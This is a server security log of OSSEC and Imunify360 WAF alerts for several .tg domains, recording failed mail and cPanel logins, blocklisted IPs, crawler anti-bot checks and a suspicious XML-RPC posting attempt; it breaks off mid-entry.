rule: 13008
name: Mail Recipient rejected
abuser: 213.230.86.39
country_id: 1512440
description:
2026-06-10 12:16:05 H=([213.230.86.39]) [213.230.86.39]:60208 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.205
country_id: 1880251
description:
47.128.96.205 - - [10/Jun/2026:12:16:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9859483&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fclimat-des-affaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781093806 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/climat-des-affaires/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.205


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.227.172.13
country_id: 2017370
description:
Jun 10 12:17:30 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.227.172.13 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.208
country_id: 1880251
description:
47.128.96.208 - - [10/Jun/2026:12:17:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9881196&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252F11e-edition-togocom-fimo228%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781093826 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/11e-edition-togocom-fimo228/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.208


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.113.27
country_id: 1835841
description:
Jun 10 12:18:14 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.113.27 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.197
country_id: 1880251
description:
47.128.96.197 - - [10/Jun/2026:12:18:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9804441&pdata=https%253A%252F%252Ftdn.tg%252Fbceao-recrute-19-postes%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781093905 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/bceao-recrute-19-postes/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.197


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.199.67.164
country_id: 1835841
description:
Jun 10 12:19:08 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.199.67.164 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.196
country_id: 1880251
description:
47.128.96.196 - - [10/Jun/2026:12:20:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212056&pdata=https%253A%252F%252Fcfpj.tg%252Fcategory%252Fnon-classe%252F%253F__im-mLcLAlHa%253D3875901866547102545%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F12%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F2%25252F%25252Fpage%25252F3%25252F%25252Fpage%25252F3%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094006 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/category/non-classe/?__im-mLcLAlHa=3875901866547102545%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F12%2F%2Fpage%2F3%2F%2Fpage%2F2%2F%2Fpage%2F2%2F%2Fpage%2F3%2F%2Fpage%2F3%2F" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.196


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.17
country_id: 1880251
description:
47.128.96.17 - - [10/Jun/2026:12:20:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12948119&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fjeune-assassine-a-adakpame%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094028 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/jeune-assassine-a-adakpame/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.17


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.4.81.106
country_id: 1562822
description:
Jun 10 12:19:42 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.4.81.106 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.2
country_id: 1880251
description:
47.128.96.2 - - [10/Jun/2026:12:21:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10053736&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fcafe-yoka-recrute%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094093 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/cafe-yoka-recrute/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.2


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.175
country_id: 1880251
description:
47.128.96.175 - - [10/Jun/2026:12:20:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7432341&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fgeneral-felix-kadanga-arrete%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094041 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/general-felix-kadanga-arrete/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.175


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.124
country_id: 1880251
description:
47.128.96.124 - - [10/Jun/2026:12:21:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870744&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fafro-global-connect%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094068 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/afro-global-connect/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.124


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [10/Jun/2026:12:20:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13278574&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdevego-novissi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094048 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/devego-novissi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.78.112
country_id: 6252001
description:
[2026-06-10 12:23:10 +0000] info [whostmgrd] 217.181.78.112 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.177.190
country_id: 1814991
description:
Jun 10 12:23:01 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.177.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.52.183.50
country_id: 1269750
description:
Jun 10 12:22:36 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.52.183.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.221.156.5
country_id: 690791
description:
Jun 10 12:22:57 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.221.156.5 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.88.211.165
country_id: 1643084
description:
Jun 10 12:24:45 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.88.211.165 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.116
country_id: 1880251
description:
47.128.122.116 - - [10/Jun/2026:12:26:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10065816&pdata=https%253A%252F%252Ftogodailynews.tg%252Fune-personne-sur-six-souffre-dinfertilite-dans-le-monde%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094373 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/une-personne-sur-six-souffre-dinfertilite-dans-le-monde/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.116


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.131
country_id: 1880251
description:
47.128.96.131 - - [10/Jun/2026:12:27:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6921824&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fprobleme-de-sante-publique%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094459 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/probleme-de-sante-publique/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.131


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.187
country_id: 1880251
description:
47.128.96.187 - - [10/Jun/2026:12:27:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105436&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Freprise-des-cours-en-presentiel-dans-les-universites%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094466 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/reprise-des-cours-en-presentiel-dans-les-universites/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.187


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.130
country_id: 1880251
description:
47.128.96.130 - - [10/Jun/2026:12:29:04 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6646896&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fmagicien-des-porte-monnaies-magiques%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094543 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/magicien-des-porte-monnaies-magiques/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.130


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.122.144.138
country_id: 6252001
description:
Jun 10 12:29:06 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.122.144.138 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.185
country_id: 1880251
description:
47.128.96.185 - - [10/Jun/2026:12:30:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328985&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Farmee-togolaise%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094621 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/armee-togolaise/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.185


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.197.45.208
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:12-29.62.197.45.208||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.208
country_id: 1880251
description:
47.128.96.208 - - [10/Jun/2026:12:29:51 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10143634&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Famevi-dabla%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094589 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/amevi-dabla/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.208


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.78.200.223
country_id: 1269750
domain: ekeasarl.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.ekeasarl.com||ServerName:ekeasarl.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a3f5d101361bbfdfb98322d9e4b16f3126f8cc42||Title:c6vvd118l0trbt||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.194
country_id: 1880251
description:
47.128.96.194 - - [10/Jun/2026:12:31:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9660356&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094703 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.194


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.12
country_id: 1880251
description:
47.128.96.12 - - [10/Jun/2026:12:33:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379822&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-affaire-de-pretre-catholique-reconverti-au-culte-vodou-voici-ce-qui-sest-reellement-passe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094819 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-affaire-de-pretre-catholique-reconverti-au-culte-vodou-voici-ce-qui-sest-reellement-passe/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.12


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.198
country_id: 1880251
description:
47.128.96.198 - - [10/Jun/2026:12:35:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211033&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fclimat-des-affaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094910 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/climat-des-affaires/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.198


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 196.188.93.169
country_id: 337996
description:
196.188.93.169 - - [10/Jun/2026:12:36:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9684124&pdata=https%253A%252F%252Fmacite.tg%252F2025%252F08%252F12%252Finsolite-cet-homme-de-dieu-predit-sa-propre-mort%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781094966 HTTP/2.0" 302 0 macite.tg "https://macite.tg/2025/08/12/insolite-cet-homme-de-dieu-predit-sa-propre-mort/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.1486.1812 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:196.188.93.169


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.68
country_id: 1880251
description:
47.128.121.68 - - [10/Jun/2026:12:36:49 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10117996&pdata=http%253A%252F%252Ftogodailynews.tg%252Ftogo-42-milliards-pour-booster-la-production-vivriere%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095007 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/togo-42-milliards-pour-booster-la-production-vivriere/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.68


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.19
country_id: 1880251
description:
47.128.96.19 - - [10/Jun/2026:12:36:57 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870229&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fclimat-des-affaires%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095016 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/climat-des-affaires/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.19


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-10 12:36:39 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:33694: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.208
country_id: 1880251
description:
47.128.96.208 - - [10/Jun/2026:12:38:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855522&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdevego-novissi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095135 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/devego-novissi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.208


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 191.99.65.215
country_id: 3658394
description:
2026-06-10 12:39:06 dovecot_plain authenticator failed for H=([198.23.185.222]) [191.99.65.215]:32514: 535 Incorrect authentication data (set_id=admin@dagl.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 152.42.187.117
country_id: 1880251
description:
Jun 10 12:39:32 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 152.42.187.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.217.188.66
country_id: 1522867
description:
2026-06-10 12:38:48 H=([185.217.188.66]) [185.217.188.66]:52541 F=<John@4452.com> rejected RCPT <agounkej@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.227.50.134
country_id: 3895114
description:
2026-06-10 12:38:49 dovecot_plain authenticator failed for H=([198.23.185.222]) [45.227.50.134]:55440: 535 Incorrect authentication data (set_id=info@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.99.248.203
country_id: 1562822
description:
2026-06-10 12:39:22 dovecot_plain authenticator failed for H=([198.23.185.222]) [116.99.248.203]:13627: 535 Incorrect authentication data (set_id=support@dagl.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.163
country_id: 3469034
description:
Jun 10 12:39:45 ns5 auth[698134]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.163 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.189
country_id: 1880251
description:
47.128.96.189 - - [10/Jun/2026:12:39:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13014678&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdevego-novissi%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095194 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/devego-novissi/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.189


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 152.59.143.139
country_id: 1269750
description:
152.59.143.139 - - [10/Jun/2026:12:40:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870490&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-plateaux-morts-chiens-enrages%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781095220 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-plateaux-morts-chiens-enrages/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.7485.1535 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:152.59.143.139


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.224.228.221
country_id: 102358
description:
2026-06-10 12:39:37 dovecot_plain authenticator failed for H=([198.23.185.222]) [176.224.228.221]:56990: 535 Incorrect authentication data (set_id=marketing@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.104.178.43
country_id: 690791
description:
2026-06-10 12:40:23 dovecot_plain authenticator failed for H=ppp-109-104-178-43.wildpark.net ([198.23.185.222]) [109.104.178.43]:40618: 535 Incorrect authentication data (set_id=contacto@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.205.241.196
country_id: 3624060
description:
2026-06-10 12:39:52 dovecot_plain authenticator failed for H=([198.23.185.222]) [201.205.241.196]:51856: 535 Incorrect authentication data (set_id=contact@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.244.154.223
country_id: 99237
description:
2026-06-10 12:40:07 dovecot_plain authenticator failed for H=([198.23.185.222]) [185.244.154.223]:36614: 535 Incorrect authentication data (set_id=contato@dagl.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 170.199.224.250
country_id: 6252001
domain: butodra.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:170.199.224.250||TA:170.199.224.250||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.49.224.230
country_id: 1605651
description:
2026-06-10 12:41:12 dovecot_plain authenticator failed for H=([198.23.185.222]) [49.49.224.230]:37824: 535 Incorrect authentication data (set_id=it@dagl.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-10 12:41:20 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.252.59.228
country_id: 2921044
description:
2026-06-10 12:40:37 dovecot_plain authenticator failed for H=dyndsl-092-252-059-228.ewe-ip-backbone.de ([198.23.185.222]) [92.252.59.228]:62134: 535 Incorrect authentication data (set_id=financeiro@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.203.237.116
country_id: 2017370
description:
2026-06-10 12:40:54 dovecot_plain authenticator failed for H=([198.23.185.222]) [91.203.237.116]:35244: 535 Incorrect authentication data (set_id=comercial@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.54.73.12
country_id: 1512440
description:
2026-06-10 12:41:29 dovecot_plain authenticator failed for H=([198.23.185.222]) [84.54.73.12]:28122: 535 Incorrect authentication data (set_id=accounts@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 216.234.211.12
country_id: 1036973
description:
2026-06-10 12:42:01 dovecot_plain authenticator failed for H=([198.23.185.222]) [216.234.211.12]:39262: 535 Incorrect authentication data (set_id=hr@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.66.95.206
country_id: 1880251
description:
2026-06-10 12:42:33 dovecot_plain authenticator failed for H=bb115-66-95-206.singnet.com.sg ([198.23.185.222]) [115.66.95.206]:45562: 535 Incorrect authentication data (set_id=soporte@dagl.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.54.73.12
country_id: 1512440
description:
2026-06-10 12:41:36 dovecot_login authenticator failed for H=([198.23.185.222]) [84.54.73.12]:28122: 535 Incorrect authentication data (set_id=accounts@dagl.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.20
country_id: 1880251
description:
